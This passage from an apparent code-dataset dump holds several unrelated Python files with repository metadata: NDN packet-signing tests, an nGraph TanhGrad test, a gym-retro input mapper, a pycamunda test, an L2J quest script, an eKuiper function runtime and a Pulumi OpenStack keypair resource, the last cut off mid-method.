from Cryptodome.Util.asn1 import DerSequence from Cryptodome.Hash import SHA256 from Cryptodome.PublicKey import ECC from Cryptodome.Signature import DSS from ndn.encoding import make_data, MetaInfo, parse_data from ndn.security import Sha256WithEcdsaSigner, Sha256WithRsaSigner, HmacSha256Signer class TestSha256WithEcdsaSigner: def test_verify(self): pri_key = ECC.generate(curve="P-256") key = pri_key.export_key(format="DER") pub_key = pri_key.public_key() signer = Sha256WithEcdsaSigner("/K/KEY/x", key) pkt = make_data("/test", MetaInfo(), b"test content", signer=signer) _, _, _, sig_ptrs = parse_data(pkt) DerSequence().decode(bytes(sig_ptrs.signature_value_buf)) verifier = DSS.new(pub_key, 'fips-186-3', 'der') h = SHA256.new() for content in sig_ptrs.signature_covered_part: h.update(content) verifier.verify(h, bytes(sig_ptrs.signature_value_buf)) class TestSha256WithHmacSigner: def test_rfc4231_1(self): key = b'\x0b' * 20 signer = HmacSha256Signer('name', key) data = b'Hi There' wire = bytearray(32) assert signer.get_signature_value_size() == 32 assert signer.write_signature_value(wire, [memoryview(data)]) == 32 assert wire.hex() == 'b0344c61d8db38535ca8afceaf0bf12b881dc200c9833da726e9376c2e32cff7' def test_rfc4231_2(self): key = b'Jefe' signer = HmacSha256Signer('name', key) data = b'what do ya want for nothing?' wire = bytearray(32) assert signer.write_signature_value(wire, [memoryview(data)]) == 32 assert wire.hex() == '5bdcc146bf60754e6a042426089575c75a003f089d2739839dec58b964ec3843' def test_rfc4231_3(self): key = b'\xaa' * 20 signer = HmacSha256Signer('name', key) data = b'\xdd' * 50 wire = bytearray(32) assert signer.write_signature_value(wire, [memoryview(data)]) == 32 assert wire.hex() == '773ea91e36800e46854db8ebd09181a72959098b3ef8c122d9635514ced565fe' def test_data_1(self): key = bytes(i for i in range(32)) signer = HmacSha256Signer('key1', key) data = make_data('/ndn/abc', MetaInfo(None), b'SUCCESS!', signer) assert (data.hex() == '0649070a08036e646e0803616263' '140015085355434345535321' '160d1b01041c08070608046b657931' '172019868e7183998df373332f3dd1c9c950fc29d734c07977791d8396fa3b91fd36') class TestSha256WithRsaSigner: def test_data(self): key = bytes([ 0x30, 0x82, 0x04, 0xbf, 0x02, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x04, 0xa9, 0x30, 0x82, 0x04, 0xa5, 0x02, 0x01, 0x00, 0x02, 0x82, 0x01, 0x01, 0x00, 0xb8, 0x09, 0xa7, 0x59, 0x82, 0x84, 0xec, 0x4f, 0x06, 0xfa, 0x1c, 0xb2, 0xe1, 0x38, 0x93, 0x53, 0xbb, 0x7d, 0xd4, 0xac, 0x88, 0x1a, 0xf8, 0x25, 0x11, 0xe4, 0xfa, 0x1d, 0x61, 0x24, 0x5b, 0x82, 0xca, 0xcd, 0x72, 0xce, 0xdb, 0x66, 0xb5, 0x8d, 0x54, 0xbd, 0xfb, 0x23, 0xfd, 0xe8, 0x8e, 0xaf, 0xa7, 0xb3, 0x79, 0xbe, 0x94, 0xb5, 0xb7, 0xba, 0x17, 0xb6, 0x05, 0xae, 0xce, 0x43, 0xbe, 0x3b, 0xce, 0x6e, 0xea, 0x07, 0xdb, 0xbf, 0x0a, 0x7e, 0xeb, 0xbc, 0xc9, 0x7b, 0x62, 0x3c, 0xf5, 0xe1, 0xce, 0xe1, 0xd9, 0x8d, 0x9c, 0xfe, 0x1f, 0xc7, 0xf8, 0xfb, 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0x00, 0xab, 0xf4, 0xd5, 0xcf, 0x78, 0x88, 0x82, 0xc2, 0xdd, 0xbc, 0x25, 0xe6, 0xa2, 0xc1, 0xd2, 0x33, 0xdc, 0xef, 0x0a, 0x97, 0x2b, 0xdc, 0x59, 0x6a, 0x86, 0x61, 0x4e, 0xa6, 0xc7, 0x95, 0x99, 0xa6, 0xa6, 0x55, 0x6c, 0x5a, 0x8e, 0x72, 0x25, 0x63, 0xac, 0x52, 0xb9, 0x10, 0x69, 0x83, 0x99, 0xd3, 0x51, 0x6c, 0x1a, 0xb3, 0x83, 0x6a, 0xff, 0x50, 0x58, 0xb7, 0x28, 0x97, 0x13, 0xe2, 0xba, 0x94, 0x5b, 0x89, 0xb4, 0xea, 0xba, 0x31, 0xcd, 0x78, 0xe4, 0x4a, 0x00, 0x36, 0x42, 0x00, 0x62, 0x41, 0xc6, 0x47, 0x46, 0x37, 0xea, 0x6d, 0x50, 0xb4, 0x66, 0x8f, 0x55, 0x0c, 0xc8, 0x99, 0x91, 0xd5, 0xec, 0xd2, 0x40, 0x1c, 0x24, 0x7d, 0x3a, 0xff, 0x74, 0xfa, 0x32, 0x24, 0xe0, 0x11, 0x2b, 0x71, 0xad, 0x7e, 0x14, 0xa0, 0x77, 0x21, 0x68, 0x4f, 0xcc, 0xb6, 0x1b, 0xe8, 0x00, 0x49, 0x13, 0x21, 0x02, 0x81, 0x81, 0x00, 0xb6, 0x18, 0x73, 0x59, 0x2c, 0x4f, 0x92, 0xac, 0xa2, 0x2e, 0x5f, 0xb6, 0xbe, 0x78, 0x5d, 0x47, 0x71, 0x04, 0x92, 0xf0, 0xd7, 0xe8, 0xc5, 0x7a, 0x84, 0x6b, 0xb8, 0xb4, 0x30, 0x1f, 0xd8, 0x0d, 0x58, 0xd0, 0x64, 0x80, 0xa7, 0x21, 0x1a, 0x48, 0x00, 0x37, 0xd6, 0x19, 0x71, 0xbb, 0x91, 0x20, 0x9d, 0xe2, 0xc3, 0xec, 0xdb, 0x36, 0x1c, 0xca, 0x48, 0x7d, 0x03, 0x32, 0x74, 0x1e, 0x65, 0x73, 0x02, 0x90, 0x73, 0xd8, 0x3f, 0xb5, 0x52, 0x35, 0x79, 0x1c, 0xee, 0x93, 0xa3, 0x32, 0x8b, 0xed, 0x89, 0x98, 0xf1, 0x0c, 0xd8, 0x12, 0xf2, 0x89, 0x7f, 0x32, 0x23, 0xec, 0x67, 0x66, 0x52, 0x83, 0x89, 0x99, 0x5e, 0x42, 0x2b, 0x42, 0x4b, 0x84, 0x50, 0x1b, 0x3e, 0x47, 0x6d, 0x74, 0xfb, 0xd1, 0xa6, 0x10, 0x20, 0x6c, 0x6e, 0xbe, 0x44, 0x3f, 0xb9, 0xfe, 0xbc, 0x8d, 0xda, 0xcb, 0xea, 0x8f ]) meta_info = MetaInfo(None, 5000, b'\x08\x02\x00\x09') signer = Sha256WithRsaSigner('/testname/KEY/123', key) data = make_data('/ndn/abc', meta_info, b'SUCCESS!', signer) assert (data.hex() == '06fd0143070a08036e646e0803616263' '140a190213881a0408020009' '15085355434345535321' '161b1b01011c1607140808746573746e616d6508034b45590803313233' '17fd0100' '5716f5b96a3141dba78970efa4f45601a36c2fc9910e82292c321ae6672ee099' '44930ef3dab60d714927a87063f1b8382d6c98c894cf2f065d7da28b380fa6cd' '08c83a243d847bc086da99c85fd14e941593d16e4f060b6a3bffb98035900643' '0ac22a334cb37dce105902e86ee8c7f4363042bdb815b455d0ce62ae7c43b027' '9842dd956f67a696ee176415873c918f36d976d68971d8d7f903a71ef6f38b27' '3c0d8ccfe23f12ecf5212a34b94eb62f822cda1f09e0f949640319cd026fb1ab' '85282e30a8fe3899bc86d86696e11e157b74f88c0efd9823369dab63262f5d7a' 'abb372a3aaf43307331a2796e913e3d36150f6a387b4c97c19a493bb4513af3f')

true

f7f37fd7a132f846c29a5d13353c433dcb90f804

2,072

py

Python

test/python/test_tanhgrad.py

conradjones/ngraph-bridge

042011e6653b3ac0983511cf6604f9881cc6ee4b

[ "Apache-2.0" ]

null

test/python/test_tanhgrad.py

conradjones/ngraph-bridge

042011e6653b3ac0983511cf6604f9881cc6ee4b

[ "Apache-2.0" ]

null

test/python/test_tanhgrad.py

conradjones/ngraph-bridge

042011e6653b3ac0983511cf6604f9881cc6ee4b

[ "Apache-2.0" ]

null

# ============================================================================== # Copyright 2018-2020 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """nGraph TensorFlow bridge AvgPoolBackprop operation test """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import pytest import numpy as np import tensorflow as tf from tensorflow.python.framework import constant_op from tensorflow.python.ops.gen_math_ops import tanh_grad from common import NgraphTest class TestTanhGradOp(NgraphTest): def test_tanhgrad_2d(self): y = constant_op.constant( self.generate_random_numbers(30, 1.0, 10.0), shape=[10, 3]) y_delta = constant_op.constant( self.generate_random_numbers(30, 0.0, 10.0), shape=[10, 3]) out = tanh_grad(y, y_delta) def run_test(sess): return sess.run(out) assert np.allclose( self.with_ngraph(run_test), self.without_ngraph(run_test)) def test_tanhgrad_3d(self): y = constant_op.constant( self.generate_random_numbers(60, 5.0, 30.0), shape=[10, 3, 2]) y_delta = constant_op.constant( self.generate_random_numbers(60, 10.0, 40.0), shape=[10, 3, 2]) out = tanh_grad(y, y_delta) def run_test(sess): return sess.run(out) assert np.allclose( self.with_ngraph(run_test), self.without_ngraph(run_test))

33.967213

80

0.644305

from __future__ import absolute_import from __future__ import division from __future__ import print_function import pytest import numpy as np import tensorflow as tf from tensorflow.python.framework import constant_op from tensorflow.python.ops.gen_math_ops import tanh_grad from common import NgraphTest class TestTanhGradOp(NgraphTest): def test_tanhgrad_2d(self): y = constant_op.constant( self.generate_random_numbers(30, 1.0, 10.0), shape=[10, 3]) y_delta = constant_op.constant( self.generate_random_numbers(30, 0.0, 10.0), shape=[10, 3]) out = tanh_grad(y, y_delta) def run_test(sess): return sess.run(out) assert np.allclose( self.with_ngraph(run_test), self.without_ngraph(run_test)) def test_tanhgrad_3d(self): y = constant_op.constant( self.generate_random_numbers(60, 5.0, 30.0), shape=[10, 3, 2]) y_delta = constant_op.constant( self.generate_random_numbers(60, 10.0, 40.0), shape=[10, 3, 2]) out = tanh_grad(y, y_delta) def run_test(sess): return sess.run(out) assert np.allclose( self.with_ngraph(run_test), self.without_ngraph(run_test))

true

f7f37ff82b14e5be3d7536b6115bff351b518400

1,230

py

Python

src/RetroInteractive.py

stevenwalton/Retro-Learner

74586c57b5dd5f6e82abaff99344285731f1fc56

[ "MIT" ]

null

src/RetroInteractive.py

stevenwalton/Retro-Learner

74586c57b5dd5f6e82abaff99344285731f1fc56

[ "MIT" ]

null

src/RetroInteractive.py

stevenwalton/Retro-Learner

74586c57b5dd5f6e82abaff99344285731f1fc56

[ "MIT" ]

null

import retro import gym import Interactive as I import pyglet from pyglet import gl from pyglet.window import key as keycodes class RetroInteractive(I.Interactive): ''' interactive setup for retro games ''' def __init__(self, game, state, scenario): env = retro.make(game=game, state=state, scenario=scenario) self.buttons = env.buttons super().__init__(env=env, sync=False, tps=60, aspect_ratio=4/3) def get_image(self, obs, env): return env.render(mode='rgb_array') def keys_to_act(self, keys): inputs = { None: False, 'BUTTON': 'Z' in keys, 'A': 'Z' in keys, 'B': 'X' in keys, 'C': 'C' in keys, 'X': 'A' in keys, 'Y': 'S' in keys, 'Z': 'D' in keys, 'L': 'Q' in keys, 'R': 'W' in keys, 'UP': 'UP' in keys, 'DOWN': 'DOWN' in keys, 'LEFT': 'LEFT' in keys, 'RIGHT': 'RIGHT' in keys, 'MODE': 'TAB' in keys, 'SELECT': 'TAB' in keys, 'RESET': 'ENTER' in keys, 'START': 'ENTER' in keys, } return [inputs[b] for b in self.buttons]

25.625

71

0.504878

import retro import gym import Interactive as I import pyglet from pyglet import gl from pyglet.window import key as keycodes class RetroInteractive(I.Interactive): def __init__(self, game, state, scenario): env = retro.make(game=game, state=state, scenario=scenario) self.buttons = env.buttons super().__init__(env=env, sync=False, tps=60, aspect_ratio=4/3) def get_image(self, obs, env): return env.render(mode='rgb_array') def keys_to_act(self, keys): inputs = { None: False, 'BUTTON': 'Z' in keys, 'A': 'Z' in keys, 'B': 'X' in keys, 'C': 'C' in keys, 'X': 'A' in keys, 'Y': 'S' in keys, 'Z': 'D' in keys, 'L': 'Q' in keys, 'R': 'W' in keys, 'UP': 'UP' in keys, 'DOWN': 'DOWN' in keys, 'LEFT': 'LEFT' in keys, 'RIGHT': 'RIGHT' in keys, 'MODE': 'TAB' in keys, 'SELECT': 'TAB' in keys, 'RESET': 'ENTER' in keys, 'START': 'ENTER' in keys, } return [inputs[b] for b in self.buttons]

true

f7f3809407cf79c3ec53b2e88ad04eb5ae64ae1b

1,551

py

Python

tests/activityinst/test_transitioninstance.py

asyncee/pycamunda

f4834d224ff99fcf80874efeaedf68a8a2efa926

[ "MIT" ]

null

tests/activityinst/test_transitioninstance.py

asyncee/pycamunda

f4834d224ff99fcf80874efeaedf68a8a2efa926

[ "MIT" ]

null

tests/activityinst/test_transitioninstance.py

asyncee/pycamunda

f4834d224ff99fcf80874efeaedf68a8a2efa926

[ "MIT" ]

null

# -*- coding: utf-8 -*- import unittest.mock import pytest import pycamunda.activityinst import pycamunda.incident INCIDENT_TYPE_COUNT = pycamunda.incident.IncidentTypeCount( incident_type=pycamunda.incident.IncidentType.failed_job, incident_count=1 ) @unittest.mock.patch( 'pycamunda.incident.IncidentTypeCount.load', lambda _: INCIDENT_TYPE_COUNT ) def test_transition_instance_load(my_transition_instance_json): instance = pycamunda.activityinst.TransitionInstance.load(my_transition_instance_json) assert instance.id_ == my_transition_instance_json['id'] assert instance.activity_id == my_transition_instance_json['activityId'] assert instance.activity_name == my_transition_instance_json['activityName'] assert instance.activity_type == my_transition_instance_json['activityType'] assert instance.process_instance_id == my_transition_instance_json['processInstanceId'] assert instance.process_definition_id == my_transition_instance_json['processDefinitionId'] assert instance.execution_ids == tuple(my_transition_instance_json['executionId']) assert instance.incident_ids == tuple(my_transition_instance_json['incidentIds']) assert instance.incidents == (INCIDENT_TYPE_COUNT, ) def test_transition_instance_load_raises_keyerror(my_transition_instance_json): for key in my_transition_instance_json: json_ = dict(my_transition_instance_json) del json_[key] with pytest.raises(KeyError): pycamunda.activityinst.TransitionInstance.load(json_)

37.829268

95

0.796905

import unittest.mock import pytest import pycamunda.activityinst import pycamunda.incident INCIDENT_TYPE_COUNT = pycamunda.incident.IncidentTypeCount( incident_type=pycamunda.incident.IncidentType.failed_job, incident_count=1 ) @unittest.mock.patch( 'pycamunda.incident.IncidentTypeCount.load', lambda _: INCIDENT_TYPE_COUNT ) def test_transition_instance_load(my_transition_instance_json): instance = pycamunda.activityinst.TransitionInstance.load(my_transition_instance_json) assert instance.id_ == my_transition_instance_json['id'] assert instance.activity_id == my_transition_instance_json['activityId'] assert instance.activity_name == my_transition_instance_json['activityName'] assert instance.activity_type == my_transition_instance_json['activityType'] assert instance.process_instance_id == my_transition_instance_json['processInstanceId'] assert instance.process_definition_id == my_transition_instance_json['processDefinitionId'] assert instance.execution_ids == tuple(my_transition_instance_json['executionId']) assert instance.incident_ids == tuple(my_transition_instance_json['incidentIds']) assert instance.incidents == (INCIDENT_TYPE_COUNT, ) def test_transition_instance_load_raises_keyerror(my_transition_instance_json): for key in my_transition_instance_json: json_ = dict(my_transition_instance_json) del json_[key] with pytest.raises(KeyError): pycamunda.activityinst.TransitionInstance.load(json_)

true

f7f381b1782abf1c0a2a027d91e4c5a8e64080f7

3,561

py

Python

L2J_DataPack/data/scripts/quests/152_ShardsOfGolem/__init__.py

Vladislav-Zolotaryov/L2J_Levelless_Custom

fb9fd3d22209679258cddc60cec104d740f13b8c

[ "MIT" ]

null

L2J_DataPack/data/scripts/quests/152_ShardsOfGolem/__init__.py

Vladislav-Zolotaryov/L2J_Levelless_Custom

fb9fd3d22209679258cddc60cec104d740f13b8c

[ "MIT" ]

null

L2J_DataPack/data/scripts/quests/152_ShardsOfGolem/__init__.py

Vladislav-Zolotaryov/L2J_Levelless_Custom

fb9fd3d22209679258cddc60cec104d740f13b8c

[ "MIT" ]

null

# Made by Mr. - Version 0.2 import sys from com.l2jserver.gameserver.model.quest import State from com.l2jserver.gameserver.model.quest import QuestState from com.l2jserver.gameserver.model.quest.jython import QuestJython as JQuest qn = "152_ShardsOfGolem" HARRYS_RECEIPT1_ID = 1008 HARRYS_RECEIPT2_ID = 1009 GOLEM_SHARD_ID = 1010 TOOL_BOX_ID = 1011 WOODEN_BP_ID = 23 #NPC HARRIS=30035 ALTRAN=30283 class Quest (JQuest) : def __init__(self,id,name,descr): JQuest.__init__(self,id,name,descr) self.questItemIds = range(1008,1012) def onAdvEvent (self,event,npc, player) : htmltext = event st = player.getQuestState(qn) if not st : return id = st.getState() cond = st.getInt("cond") if id != State.COMPLETED : if event == "30035-04.htm" and cond == 0 : st.set("cond","1") st.setState(State.STARTED) st.playSound("ItemSound.quest_accept") st.giveItems(HARRYS_RECEIPT1_ID,1) elif event == "30283-02.htm" and cond == 1 and st.getQuestItemsCount(HARRYS_RECEIPT1_ID) : st.takeItems(HARRYS_RECEIPT1_ID,-1) st.giveItems(HARRYS_RECEIPT2_ID,1) st.set("cond","2") return htmltext def onTalk (self,npc,player): htmltext = "<html><body>You are either not on a quest that involves this NPC, or you don't meet this NPC's minimum quest requirements.</body></html>" st = player.getQuestState(qn) if not st : return htmltext npcId = npc.getNpcId() id = st.getState() cond = st.getInt("cond") receipt1 = st.getQuestItemsCount(HARRYS_RECEIPT1_ID) receipt2 = st.getQuestItemsCount(HARRYS_RECEIPT2_ID) toolbox = st.getQuestItemsCount(TOOL_BOX_ID) shards = st.getQuestItemsCount(GOLEM_SHARD_ID) if id == State.COMPLETED : htmltext = "<html><body>This quest has already been completed.</body></html>" elif npcId == HARRIS : if cond == 0 : if player.getLevel() >= 10 : htmltext = "30035-03.htm" else: htmltext = "30035-02.htm" st.exitQuest(1) elif cond == 1 and receipt1 and not toolbox : htmltext = "30035-05.htm" elif cond == 3 and toolbox : st.takeItems(TOOL_BOX_ID,-1) st.takeItems(HARRYS_RECEIPT2_ID,-1) st.unset("cond") st.exitQuest(False) st.playSound("ItemSound.quest_finish") st.giveItems(WOODEN_BP_ID,1) st.addExpAndSp(5000,0) htmltext = "30035-06.htm" elif npcId == ALTRAN and id == State.STARTED: if cond == 1 and receipt1 : htmltext = "30283-01.htm" elif cond == 2 and receipt2 and shards < 5 and not toolbox : htmltext = "30283-03.htm" elif cond == 3 and receipt2 and shards >= 5 and not toolbox : st.takeItems(GOLEM_SHARD_ID,-1) st.giveItems(TOOL_BOX_ID,1) htmltext = "30283-04.htm" elif cond == 3 and receipt2 and toolbox : htmltext = "30283-05.htm" return htmltext def onKill(self,npc,player,isPet): st = player.getQuestState(qn) if not st : return if st.getState() != State.STARTED : return count=st.getQuestItemsCount(GOLEM_SHARD_ID) if st.getInt("cond")==2 and st.getRandom(100) < 30 and count < 5 : st.giveItems(GOLEM_SHARD_ID,1) if count == 4 : st.playSound("ItemSound.quest_middle") st.set("cond","3") else : st.playSound("ItemSound.quest_itemget") return QUEST = Quest(152,qn,"Shards Of Golem") QUEST.addStartNpc(HARRIS) QUEST.addTalkId(HARRIS) QUEST.addTalkId(ALTRAN) QUEST.addKillId(20016)

32.669725

152

0.653468

import sys from com.l2jserver.gameserver.model.quest import State from com.l2jserver.gameserver.model.quest import QuestState from com.l2jserver.gameserver.model.quest.jython import QuestJython as JQuest qn = "152_ShardsOfGolem" HARRYS_RECEIPT1_ID = 1008 HARRYS_RECEIPT2_ID = 1009 GOLEM_SHARD_ID = 1010 TOOL_BOX_ID = 1011 WOODEN_BP_ID = 23 HARRIS=30035 ALTRAN=30283 class Quest (JQuest) : def __init__(self,id,name,descr): JQuest.__init__(self,id,name,descr) self.questItemIds = range(1008,1012) def onAdvEvent (self,event,npc, player) : htmltext = event st = player.getQuestState(qn) if not st : return id = st.getState() cond = st.getInt("cond") if id != State.COMPLETED : if event == "30035-04.htm" and cond == 0 : st.set("cond","1") st.setState(State.STARTED) st.playSound("ItemSound.quest_accept") st.giveItems(HARRYS_RECEIPT1_ID,1) elif event == "30283-02.htm" and cond == 1 and st.getQuestItemsCount(HARRYS_RECEIPT1_ID) : st.takeItems(HARRYS_RECEIPT1_ID,-1) st.giveItems(HARRYS_RECEIPT2_ID,1) st.set("cond","2") return htmltext def onTalk (self,npc,player): htmltext = "<html><body>You are either not on a quest that involves this NPC, or you don't meet this NPC's minimum quest requirements.</body></html>" st = player.getQuestState(qn) if not st : return htmltext npcId = npc.getNpcId() id = st.getState() cond = st.getInt("cond") receipt1 = st.getQuestItemsCount(HARRYS_RECEIPT1_ID) receipt2 = st.getQuestItemsCount(HARRYS_RECEIPT2_ID) toolbox = st.getQuestItemsCount(TOOL_BOX_ID) shards = st.getQuestItemsCount(GOLEM_SHARD_ID) if id == State.COMPLETED : htmltext = "<html><body>This quest has already been completed.</body></html>" elif npcId == HARRIS : if cond == 0 : if player.getLevel() >= 10 : htmltext = "30035-03.htm" else: htmltext = "30035-02.htm" st.exitQuest(1) elif cond == 1 and receipt1 and not toolbox : htmltext = "30035-05.htm" elif cond == 3 and toolbox : st.takeItems(TOOL_BOX_ID,-1) st.takeItems(HARRYS_RECEIPT2_ID,-1) st.unset("cond") st.exitQuest(False) st.playSound("ItemSound.quest_finish") st.giveItems(WOODEN_BP_ID,1) st.addExpAndSp(5000,0) htmltext = "30035-06.htm" elif npcId == ALTRAN and id == State.STARTED: if cond == 1 and receipt1 : htmltext = "30283-01.htm" elif cond == 2 and receipt2 and shards < 5 and not toolbox : htmltext = "30283-03.htm" elif cond == 3 and receipt2 and shards >= 5 and not toolbox : st.takeItems(GOLEM_SHARD_ID,-1) st.giveItems(TOOL_BOX_ID,1) htmltext = "30283-04.htm" elif cond == 3 and receipt2 and toolbox : htmltext = "30283-05.htm" return htmltext def onKill(self,npc,player,isPet): st = player.getQuestState(qn) if not st : return if st.getState() != State.STARTED : return count=st.getQuestItemsCount(GOLEM_SHARD_ID) if st.getInt("cond")==2 and st.getRandom(100) < 30 and count < 5 : st.giveItems(GOLEM_SHARD_ID,1) if count == 4 : st.playSound("ItemSound.quest_middle") st.set("cond","3") else : st.playSound("ItemSound.quest_itemget") return QUEST = Quest(152,qn,"Shards Of Golem") QUEST.addStartNpc(HARRIS) QUEST.addTalkId(HARRIS) QUEST.addTalkId(ALTRAN) QUEST.addKillId(20016)

true

f7f382d0e64ce7f422f650dac29546de1a98616b

3,948

py

Python

sdk/python/ekuiper/runtime/function.py

Swilder-M/ekuiper

514890f86f354f57952812d29632b435a80a4b0d

[ "Apache-2.0" ]

null

sdk/python/ekuiper/runtime/function.py

Swilder-M/ekuiper

514890f86f354f57952812d29632b435a80a4b0d

[ "Apache-2.0" ]

null

sdk/python/ekuiper/runtime/function.py

Swilder-M/ekuiper

514890f86f354f57952812d29632b435a80a4b0d

[ "Apache-2.0" ]

null

# Copyright 2021 EMQ Technologies Co., Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import json import logging import traceback from . import reg from .connection import PairChannel from .contextimpl import ContextImpl from .symbol import SymbolRuntime from ..function import Function class FunctionRuntime(SymbolRuntime): def __init__(self, ctrl: dict, s: Function): ch = PairChannel(ctrl['symbolName'], 1) self.s = s self.ch = ch self.running = False self.key = "func_{}".format(ctrl['symbolName']) self.funcs = {} def run(self): self.running = True reg.setr(self.key, self) # noinspection PyBroadException try: self.ch.run(self.do_run) except Exception: if self.running: logging.error(traceback.format_exc()) finally: self.stop() def do_run(self, req: bytes): # noinspection PyBroadException try: c = json.loads(req) logging.debug("running func with ", c) name = c['func'] if name == "Validate": err = self.s.validate(c['arg']) if err != "": return encode_reply(False, err) else: return encode_reply(True, "") elif name == "Exec": args = c['arg'] if isinstance(args, list) is False or len(args) < 1: return encode_reply(False, 'invalid arg') fmeta = json.loads(args[-1]) if 'ruleId' in fmeta and 'opId' in fmeta and 'instanceId' in fmeta \ and 'funcId' in fmeta: key = f"{fmeta['ruleId']}_{fmeta['opId']}_{fmeta['instanceId']}" \ f"_{fmeta['funcId']}" if key in self.funcs: fctx = self.funcs[key] else: fctx = ContextImpl(fmeta) self.funcs[key] = fctx else: return encode_reply(False, f'invalid arg: {fmeta} ruleId, opId, instanceId and funcId' f' are required') r = self.s.exec(args[:-1], fctx) return encode_reply(True, r) elif name == "IsAggregate": r = self.s.is_aggregate() return encode_reply(True, r) else: return encode_reply(False, "invalid func {}".format(name)) except Exception: """two occasions: normal stop will close socket to raise an error OR stopped by unexpected error""" if self.running: logging.error(traceback.format_exc()) return encode_reply(False, traceback.format_exc()) def stop(self): self.running = False # noinspection PyBroadException try: self.ch.close() reg.delete(self.key) except Exception: logging.error(traceback.format_exc()) def is_running(self) -> bool: return self.running def encode_reply(state: bool, arg: any): try: return str.encode(json.dumps({'state': state, 'result': arg})) except Exception: return str.encode(json.dumps({'state': False, 'result': traceback.format_exc()}))

35.890909

99

0.550405

import json import logging import traceback from . import reg from .connection import PairChannel from .contextimpl import ContextImpl from .symbol import SymbolRuntime from ..function import Function class FunctionRuntime(SymbolRuntime): def __init__(self, ctrl: dict, s: Function): ch = PairChannel(ctrl['symbolName'], 1) self.s = s self.ch = ch self.running = False self.key = "func_{}".format(ctrl['symbolName']) self.funcs = {} def run(self): self.running = True reg.setr(self.key, self) try: self.ch.run(self.do_run) except Exception: if self.running: logging.error(traceback.format_exc()) finally: self.stop() def do_run(self, req: bytes): try: c = json.loads(req) logging.debug("running func with ", c) name = c['func'] if name == "Validate": err = self.s.validate(c['arg']) if err != "": return encode_reply(False, err) else: return encode_reply(True, "") elif name == "Exec": args = c['arg'] if isinstance(args, list) is False or len(args) < 1: return encode_reply(False, 'invalid arg') fmeta = json.loads(args[-1]) if 'ruleId' in fmeta and 'opId' in fmeta and 'instanceId' in fmeta \ and 'funcId' in fmeta: key = f"{fmeta['ruleId']}_{fmeta['opId']}_{fmeta['instanceId']}" \ f"_{fmeta['funcId']}" if key in self.funcs: fctx = self.funcs[key] else: fctx = ContextImpl(fmeta) self.funcs[key] = fctx else: return encode_reply(False, f'invalid arg: {fmeta} ruleId, opId, instanceId and funcId' f' are required') r = self.s.exec(args[:-1], fctx) return encode_reply(True, r) elif name == "IsAggregate": r = self.s.is_aggregate() return encode_reply(True, r) else: return encode_reply(False, "invalid func {}".format(name)) except Exception: """two occasions: normal stop will close socket to raise an error OR stopped by unexpected error""" if self.running: logging.error(traceback.format_exc()) return encode_reply(False, traceback.format_exc()) def stop(self): self.running = False try: self.ch.close() reg.delete(self.key) except Exception: logging.error(traceback.format_exc()) def is_running(self) -> bool: return self.running def encode_reply(state: bool, arg: any): try: return str.encode(json.dumps({'state': state, 'result': arg})) except Exception: return str.encode(json.dumps({'state': False, 'result': traceback.format_exc()}))

true

f7f382dfe2c534e51164e4b6292ea3bcf72475df

3,888

py

Python

sdk/python/pulumi_openstack/compute/keypair.py

Frassle/pulumi-openstack

6fc26edd7c42e7c3d65a01cf9384148cc56466e4

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_openstack/compute/keypair.py

Frassle/pulumi-openstack

6fc26edd7c42e7c3d65a01cf9384148cc56466e4

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_openstack/compute/keypair.py

Frassle/pulumi-openstack

6fc26edd7c42e7c3d65a01cf9384148cc56466e4

[ "ECL-2.0", "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import pulumi import pulumi.runtime class Keypair(pulumi.CustomResource): """ Manages a V2 keypair resource within OpenStack. ~> **Important Security Notice** The private key generated by this resource will be stored *unencrypted* in your Terraform state file. **Use of this resource for production deployments is *not* recommended**. Instead, generate a private key file outside of Terraform and distribute it securely to the system where Terraform will be run. """ def __init__(__self__, __name__, __opts__=None, name=None, public_key=None, region=None, value_specs=None): """Create a Keypair resource with the given unique name, props, and options.""" if not __name__: raise TypeError('Missing resource name argument (for URN creation)') if not isinstance(__name__, basestring): raise TypeError('Expected resource name to be a string') if __opts__ and not isinstance(__opts__, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') __props__ = dict() if name and not isinstance(name, basestring): raise TypeError('Expected property name to be a basestring') __self__.name = name """ A unique name for the keypair. Changing this creates a new keypair. """ __props__['name'] = name if public_key and not isinstance(public_key, basestring): raise TypeError('Expected property public_key to be a basestring') __self__.public_key = public_key """ A pregenerated OpenSSH-formatted public key. Changing this creates a new keypair. If a public key is not specified, then a public/private key pair will be automatically generated. If a pair is created, then destroying this resource means you will lose access to that keypair forever. """ __props__['publicKey'] = public_key if region and not isinstance(region, basestring): raise TypeError('Expected property region to be a basestring') __self__.region = region """ The region in which to obtain the V2 Compute client. Keypairs are associated with accounts, but a Compute client is needed to create one. If omitted, the `region` argument of the provider is used. Changing this creates a new keypair. """ __props__['region'] = region if value_specs and not isinstance(value_specs, dict): raise TypeError('Expected property value_specs to be a dict') __self__.value_specs = value_specs """ Map of additional options. """ __props__['valueSpecs'] = value_specs __self__.fingerprint = pulumi.runtime.UNKNOWN """ The fingerprint of the public key. """ __self__.private_key = pulumi.runtime.UNKNOWN """ The generated private key when no public key is specified. """ super(Keypair, __self__).__init__( 'openstack:compute/keypair:Keypair', __name__, __props__, __opts__) def set_outputs(self, outs): if 'fingerprint' in outs: self.fingerprint = outs['fingerprint'] if 'name' in 